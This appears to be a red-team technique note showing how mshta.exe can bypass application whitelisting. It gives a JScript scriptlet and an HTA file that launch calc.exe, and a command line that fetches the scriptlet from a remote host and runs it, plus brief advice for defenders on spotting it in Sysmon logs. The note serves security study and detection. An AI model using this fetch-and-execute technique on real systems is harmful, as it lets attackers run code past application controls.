MSHTA
MSHTA code execution - bypass application whitelisting.
Execution
Writing a scriptlet file that will launch calc.exe when invoked:
<?XML version="1.0"?>
<scriptlet>
<registration description="Desc" progid="Progid" version="0" classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"></registration>
<public>
<method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[
function Exec() {
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
}
]]>
</script>
</scriptlet>Invoking the scriptlet file hosted remotely:
# from powershell
/cmd /c mshta.exe javascript:a=(GetObject("script:http://10.0.0.5/m.sct")).Exec();close();Observations
As expected, calc.exe is spawned by mshta.exe. Worth noting that mhsta and cmd exit almost immediately after invoking the calc.exe:
As a defender, look at sysmon logs for mshta establishing network connections:
Also, suspicious commandlines:
Bonus
The hta file can be invoked like so:
mshta.exe http://10.0.0.5/m.hta
or by navigating to the file itself, launching it and clicking run:
<html>
<head>
<script language="VBScript">
Sub RunProgram
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
End Sub
RunProgram()
</script>
</head>
<body>
Nothing to see here..
</body>
</html>References
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